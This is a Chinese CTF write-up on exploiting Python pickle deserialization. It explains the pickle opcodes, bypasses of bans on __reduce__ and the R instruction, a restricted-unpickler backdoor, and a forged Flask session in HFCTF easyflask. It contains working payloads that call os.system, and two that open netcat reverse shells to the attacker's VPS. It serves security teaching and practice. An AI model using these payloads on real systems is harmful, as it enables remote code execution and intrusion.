当前位置:首页 > CN2资讯 > 正文内容

序列与反序列python python反序列化漏洞

3天前CN2资讯



文章目录

  • 前言
  • 正文
  • 1.有关__reduce__()
  • 2.R指令的禁用
  • 3.有关opcode的编写
  • (1)原始的方法(手写)
  • (2)神器pker
  • 4.题目加更
  • 5.后记


前言

写这篇文章的起因是两次遇到python pickle的题目都只做到了命令执行的程度,但都没有反弹shell。看别人的wp都是通过curl将flag拉到vps上的,怎么说呢,死于没有公网IP。虽然之前在做题的时候,照着网上的exp可以把自己的payload改个七七八八,但是说实话我距离真正意义上的“手撸”opcode还是有着一段距离。这篇文章主要还是通过我所遇到的pickle反序列化题目出发进行编写,当然也少不了pickle的原理部分。

正文

在正式开始这篇文章之前,我想先贴出一位大佬的文章Pion1eer大佬这篇文章所写的关于pickle序列化原理的解释,我相信在市面上应该找不到比这更详细的了。我下面也会写相关原理,但是一定不会有他的全面。
好,那我们开始。请考虑如下代码段。

import pickle import os import pickletools class exp(object): def __init__(self): self.value1 = 'hh' self.value2 = 'xx' user = exp() y = pickle.dumps(user) y = pickletools.optimize(y) print(y) pickletools.dis(y)

它的执行结果是这样的。

pickletools.dis()具有反汇编的功能,解析指定的字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。
而pickletools.optimize()具有优化的功能,会将一些不必要的指令删除,从而使看上去的输出更加清晰。

我们现在来依次解释一下上面各行的指令作用:

  • 0x80:机器看到这个操作符,立刻再去字符串读取一个字节,得到x03。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。
  • c:获取一个全局对象或import一个模块,会读取两个字符串module以及instance。形式如下c[module]\n[instance]\n
  • ):向栈中压入一个空数组
  • \x81:从栈空间弹出一个类和参数,并用这个参数实例化这个弹出来的类,最终把实例化的类再次压回栈中。
  • }:压入一个空的字典
  • (:向栈中压入一个MARK标记
  • X/V:实例化一个字符串
  • u:以键值对的形式进行数据组合(组合的数据为当前栈空间位置到上一个MARK之间的数据),并全部添加或更新到该MARK之前的一个字典中
  • b:利用填充好的字典和实例化好的对象进行属性赋值。
  • . STOP简单易懂,结束序列化。
    这么看可能有些抽象,所以我画了个流程图(虽然效果好象一般)。

    上面这个小例子,我想已经足够理解pickle反序列化的一些流程上的问题了,最起码我们已经知道了它的大致操作。
    接下来我们从一个经典的trick来入手。
  • 1.有关__reduce__()

    请考虑如下的代码:

    import pickle import os import pickletools class exp(): def __init__(self): self.value1 = 'hh' self.value2 = 'xx' def __reduce__(self): ls = "dir" return (os.system, (ls,)) user = exp() y = pickle.dumps(user) y = pickletools.optimize(y) print(y) pickletools.dis(y)

    我们在之前的例子上加上了__reduce__()函数。它是用来干什么的呢?如果你以前学习过php的话,那么魔法函数这个概念你一定不会陌生。这里的__reduce__()函数很像php魔法函数中的wakeup(),他会在这个对象进行反序列化的时候自动调用。

    上面代码的运行结果:


    emm,我们现在可以拿着这个payload去反序列化一下看一下效果如何。

    import pickle payload = b'\x80\x03cnt\nsystem\nX\x03\x00\x00\x00dir\x85R.' y = pickle.loads(payload)


    可以看到的是,只要这个payload进入了load()或者是loads()函数那么他就会触发里面的系统命令。

    当然了__reduce__()这个函数的考点,考到现在,可以说是已经考烂了。现在大部分的题目它的侧重点都不会是__reduce__(),而是一些其他的“古怪”。

    但是为了说明这个例子,我们还是要通过一道题来说明问题。(题目来源:BUUCTF)

    [watevrCTF-2019]Pickle Store

    进入题目,随便买一个吃的,然后用bp进行抓包


    把上面的session的值进行base64解码。然后拿到一串字符。一看就是pickle的字符串


    用脚本解一下。

    import pickle import base64 hh = 'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu' hh1 = pickle.loads(base64.b64decode(hh)) print(hh1)


    看来它的后端是一定调用过loads或load函数的,那么就好办了,我们直接用去getshell就行了。

    import base64 import pickle class exp(object): def __reduce__(self): return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",)) hh = exp() print(base64.b64encode(pickle.dumps(hh)))

    这里要用小号在buu的内网开一个靶机,然后用部署后靶机的ip及监听端口进行操作。

    (这虽然不知道为什么,我启动的靶机连不上),所以这里用了我自己的vps

    2.R指令的禁用

    在上面reduce函数的使用过程中,我们发现在payload的最后倒数第二行上面会有一个R指令,他就是用来调用reduce的,那么我们如何进行rce呢?
    这里就不得不说一下Pion1eer佬对于build指令的解读了。详情就看上面我所放置的链接,下面直接说一些利用方法。

    \x80\x03c__main__\nexp\n)\x81} 上面这一行是之前的payload中截取的一部分。其功能就是实例化了一个对象并压入了一个空的字典。我们现在的任务是将字典内填充一个键值对为__setstate__:os.system。那么我们要如何实现?(手写opcode。

    先用(写入一个MARK标记,然后写入要填充的字符串,再用u指令进行字典的填充。最后用b指令进行实例化,并赋值。

    写完之后,大概会变成这样

    \x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nub

    接下来我们所做的所有build操作所进行的传参,都会被system接受。

    所以构建出最后的payload

    \x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.

    ok,让我们来看一看效果。


    命令是成功执行了的,而且我们也没有用到reduce()。在R指令被禁用的时候,我们可以通过这种利用Build指令的方式进行RCE。

    不仅如此,我们甚至可以通过i指令,o指令进行构造

  • i:先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(听起来和R指令挺像的)
  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数
    i指令的:(S'whoami'\nios\nsystem. o指令的:(cos\nsystem\nS'whoami'\no
  • 3.有关opcode的编写

    这里再新引入几个opcode:

  • t:寻找栈中的上一个MARK,并组合之间的数据为元组
  • d:寻找栈中的上一个MARK,并组合之间的数据为字典
  • S:实例化一个字符串对象
  • R:选择栈上的第一个对象作为函数、第二个对象作为
  • s:将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象
    参数(第二个对象必须为元组),然后调用该函数(就是reduce函数的调用)
    其实,当我在自己机器上运行的时候,我发现我的pickletools所生成的opcode与网上师傅的大相径庭,感觉很怪。于是于是去了kali上再次运行自己的代码,这次就相同了。这里也是很关键的一点,pickle这个东西在不同的操作系统上的运行结果是不一样的,而且不同版本的pickle也有不同的地方。这里建议各位还是在linux系统中生成payload,毕竟大多数比赛的环境全是linux。版本的话就用版本0吧。
  • (1)原始的方法(手写)

    手写opcode是最考验一个人对于pickle序列化的理解程度的一种方式,当然也是最原始的方法。
    这里用一道题作为例子(题目源自强网拟态2021)我在题目上做了一些改变,为了便于测试看效果。
    (debug.py)

    import base64 import pickle import urllib.request import pickletools import base64 import config import io import sys class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): print(module) if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) data = "opcode" data = base64.b64encode(data) print(data) result = RestrictedUnpickler(io.BytesIO(base64.b64decode(data))).load() print(config.notadmin)

    config.py

    notadmin={"admin":"no"} def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) eval(s)

    我们的目标是要将config.py中的变量中的admin的值变为yes。让我们来利用前边给出的opcode尝试编写。
    b"cconfig\nnotadmin\nS'admin'\nS'yes'\ns." 后面的事情就是利用出题人留下的后门,进行shell反弹。这里会涉及到opcode拼接的问题:在手写opcode的时候我们可以通过删除前一个opcode的结束符以实现和后面opcode的拼接工作。
    (这里因为是本地复现的缘故所以就用命令执行来替代了)
    cconfig\nbackdoor\n(S'__import__('os').system('dir')'\ntR. 将上面两个拼接起来就是完整的payload了,当然这里要删去结束符。
    当然这里的命令执行也不止一种方式,可以在上文中的R指令过滤找到其他的方案。
    详情可以去这个文章https://xz.aliyun.com/t/7436#toc-10

    (2)神器pker

    pker的相关语法,我就不过多的去说了大家直接去这篇文章去看吧。

    pker的下载链接地址https:///eddieivan01/pker



    通过pker.py生成的payload同样可以达到相同的效果。这就免去了我们手写opcode的麻烦。(但是这里建议新手玩家还是以手写为主。)

    4.题目加更

    (题目来源:[HFCTF 2021 Final]easyflask
    首先要了解一下Linux系统中记录着进程信息的文件,/proc/self/目录,这个目录不同的进程访问该目录时获得的信息是不同的,获得的会是本进程的相关信息。
    更详细的内容见Zero_Adam的博客。由此开始进行解题过程。
    先通过题目上的提示拿到源码

    #!/usr/bin/python3.6 import os import pickle from base64 import b64decode from flask import Flask, request, render_template, session app = Flask(__name__) app.config["SECRET_KEY"] = "*******" User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, }) @app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js" @app.route('/file', methods=('GET',)) def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open(path, 'r') as fp: content = fp.read() return content @app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?' if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)

    再去利用/proc/self/environ去该进程的环境变量里面看看。


    拿到了secret_key,secret_key在flask模板中是用于生成session的,所以我们要是想让我们的自己生成的session有用,就要把源码中的星号替换成这个玩意。

    我们注意到它的源码中有这么一条语句。


    而这个所谓的u是序列化后的User。那好,我们只需要在原来对象里面加上一个__reduce__()用于执行我们的函数就行了。

    (看不懂type构造的去这里https://zhuanlan.zhihu.com/p/40916705)

    exp如下:

    #!/usr/bin/python3.6 import os import pickle from base64 import b64decode from flask import Flask, request, render_template, session app = Flask(__name__) app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh" User = type('User', (object,), { 'uname': 'test', 'is_admin': 1, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (eval, ("__import__('os').system('nc VPS_IP 9999 -e /bin/sh')",))}) @app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js" if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)

    然后在linux系统中启动服务,去找生成的session。


    利用这个session去题目的那个网站访问admin,就可以了拿到shell了。

    5.后记

    这是我到现在为止写的最长的一篇文章了,自从又一次遇见了pickle的题目我就已经下定决心,要写一篇关于pickle的文章,来记述一下自己的学习历程。真正意义上去放开手去写的时候,才发现自己还有很都不知道的东西,才发现原来要写的东西有这么多。还是有很多收获的,无论是从学习的角度还是从更文的角度。当然了,pickle的学习远不止这些,还有更多的等着我们去发掘。


      你可能想看:

      扫描二维码推送至手机访问。

      版权声明:本文由皇冠云发布,如需转载请注明出处。

      本文链接:https://www.idchg.com/info/19969.html

      分享给朋友:

      “序列与反序列python python反序列化漏洞” 的相关文章

      国外常用ping工具及其使用方法

      ping工具在国外的应用 什么是ping工具?其基本功能和重要性 ping工具是一种非常实用的网络诊断工具,通过向指定的IP地址发送数据包来检测网络连接的质量。当我们在互联网上进行访问时,ping工具能够帮助我们了解网络延迟、丢包率等关键指标。这些信息对于网站运营者和普通用户来说都是极其重要的,因为...

      Zgo VPS:高性能虚拟专用服务器的最佳选择

      在2021年,ZgoCloud(最初名为Zgovps)如雨后春笋般成立于美国特拉华州。作为一家新兴的技术公司,我们专注于提供高性能的虚拟专用服务器(VPS),这让我对公司的前景充满了期待。我们最初的使命是为各种用户提供可靠的网络解决方案,而现在我们已经成长为行业内的一股重要力量。 我们的全球数据中心...

      Bandwagon 意思与效应解析:理解群体行为的心理机制

      “Bandwagon”这个词听上去或许有些陌生,但它的意思和背景却十分有趣。简单来说,Bandwagon指的是一种说服技巧,通常用来引导他人追随某个观点或趋势。你有没有发现,在某些情况下,会有人因为周围大多数人都选择某种方式而随之附和?这种现象正是Bandwagon的核心思想。在这种情况下,个体的决...

      如何选择便宜的海外服务器来提升业务效率

      什么是海外服务器 海外服务器简单来说,就是在国外数据中心托管的服务器。那些需要在国外提供服务和访问的企业或者个人,会选择这种类型的服务器。比起本地服务器,海外服务器往往能提供更好的网络速度和稳定性,尤其是对某些特定的地区来说。如果你有过在网上购物或者访问国际网站的经历,或许你会发现他们的响应速度比一...

      LiteServer: 快速搭建轻量级本地开发服务器的终极指南

      1.1 什么是 LiteServer LiteServer 是一款轻量级的本地开发服务器,专为开发者提供简单、快速的web服务环境。它的设计理念是让开发者能够轻松地启动项目,而无需过多的配置和繁杂的设置。对于进行前端开发、静态网站测试,甚至小型后端服务的程序员来说,LiteServer 都是一个值得...

      如何选择合适的国外服务器供应商助力全球业务发展

      当我提到国外服务器供应商时,首先想到的就是那些在海外提供服务器托管和相关服务的公司。简单来说,国外服务器就是在物理位置位于其他国家的服务器。这些服务器可以托管网站、应用程序等数据,并确保用户能顺利访问这些内容。国外服务器的选择有时源于带宽、数据隐私或法律法规的考虑,也可能是为了实现更好的性能和稳定性...